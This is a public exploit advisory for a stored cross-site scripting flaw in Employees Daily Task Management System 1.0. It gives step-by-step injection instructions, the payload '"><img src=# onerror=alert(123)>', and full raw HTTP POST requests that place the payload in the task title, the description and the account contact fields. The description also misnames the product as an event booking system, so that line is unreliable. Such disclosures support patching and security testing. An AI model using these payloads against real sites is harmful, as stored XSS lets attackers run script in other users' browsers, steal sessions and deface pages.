# Exploit Title: Employees Daily Task Management System 1.0 - 'multiple' Cross Site Scripting (XSS)
# Exploit Author: able403
# Date: 08/12/2021
# Vendor Homepage: https://www.sourcecodester.com/php/15030/employee-daily-task-management-system-php-and-sqlite-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/edtms.zip
# Version: 1.0
# Tested on: windows 10
# Vulnerable page: ?page=view_task&id=2
Technical description:
A stored XSS online event booking and reservation system. An attacker can leverage this vulnerability in order to run javascript on the web server surfers behalf, which can lead to cookie stealing, defacement and more.
xss-1:
1) Navigate to http://localhost/?page=view_task&id=2 and clink "edit task"
2) Insert your payload in the "title" and "Task Description" parameter parameter
3) Click save
Proof of concept (Poc):
The following payload will allow you to run the javascript -
"><img src=# onerror=alert(123)>
---
POST /Actions.php?a=save_task HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 312
Origin: http://localhost
Connection: close
Referer: http://localhost/?page=tasks
Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl
id=2&title=Task+102%22%3E%3Cimg+src%3D%23+onerror%3Dalert(123)%3E&status=1&assign_to%5B%5D=2&description=%3Cp%3EThis+is+another+task+for+you.%3C%2Fp%3E%3Cp%3EThis+description+has+been+updated%3C%2Fp%3E%3Cp%3E%3Cbr%3E%3C%2Fp%3E%3Cp%3E%22%26gt%3B%26lt%3Bimg+src%3D%23+onerror%3Dalert(333)%26gt%3B%3Cbr%3E%3C%2Fp%3E
xss-2
1) Navigate to http://localhost.com/?page=manage_account
2) Insert your payload in the "full name" or "contact" or "email" parameter parameter
Proof of concept (Poc):
The following payload will allow you to run the javascript -
"><img src=# onerror=alert(123)>
--
POST /Actions.php?a=update_credentials_employee HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:89.0) Gecko/20100101 Firefox/89.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------27882107026209045483167935384
Content-Length: 1613
Origin: http://localhost
Connection: close
Referer: http://localhost/?page=manage_account
Cookie: PHPSESSID=p98m8ort59hfbo3qdu2o4a59cl
-----------------------------27882107026209045483167935384
Content-Disposition: form-data; name="id"
1
-----------------------------27882107026209045483167935384
Content-Disposition: form-data; name="fullname"
John D Smith
-----------------------------27882107026209045483167935384
Content-Disposition: form-data; name="gender"
Male
-----------------------------27882107026209045483167935384
Content-Disposition: form-data; name="dob"
1997-06-23
-----------------------------27882107026209045483167935384
Content-Disposition: form-data; name="contact"
098123456789"><img src=# onerror=alert(123)>
-----------------------------27882107026209045483167935384
Content-Disposition: form-data; name="email"
jsmith@sample.com
-----------------------------27882107026209045483167935384
Content-Disposition: form-data; name="address"
Sample Address
-----------------------------27882107026209045483167935384
Content-Disposition: form-data; name="department_id"
1
-----------------------------27882107026209045483167935384
Content-Disposition: form-data; name="email"
jsmith@sample.com
-----------------------------27882107026209045483167935384
Content-Disposition: form-data; name="password"
-----------------------------27882107026209045483167935384
Content-Disposition: form-data; name="old_password"
-----------------------------27882107026209045483167935384
Content-Disposition: form-data; name="avatar"; filename=""
Content-Type: application/octet-stream
-----------------------------27882107026209045483167935384--
